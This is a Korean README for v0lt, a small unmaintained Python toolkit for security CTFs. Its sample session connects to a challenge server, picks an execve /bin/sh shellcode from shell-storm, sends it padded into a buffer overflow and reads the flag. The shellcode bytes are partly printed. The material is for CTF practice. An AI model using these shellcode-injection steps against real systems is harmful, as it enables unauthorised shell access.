
보안 CTF 툴킷 (더 이상 유지 관리되지 않음)

v0lt는 제가 보안 CTF에서 사용했거나 사용 중이거나 사용할 모든 도구를 Python 스타일로 모아보려는 시도입니다. 많은 문제들은 bash 스크립트로 해결했지만 Python이 더 유연할 수 있기 때문입니다. Gallopsled와는 전혀 관련이 없습니다. 작지만 특화된 유틸리티만을 담은 장난감 도구 키트입니다.
이 프로젝트는 더 이상 유지보수되지 않습니다. 유틸리티 자체가 거의 항상 작동할 정도로 작아서 유지보수가 필요하지 않기 때문입니다. 그래도 원한다면 PR을 자유롭게 제출해 주세요 :)
# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)
...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...
Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\[...]"
>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}
암호
쉘코드
간편한 연결 지원
문제 해결
그 외 더 있음
예제는 에서 확인할 수 있습니다.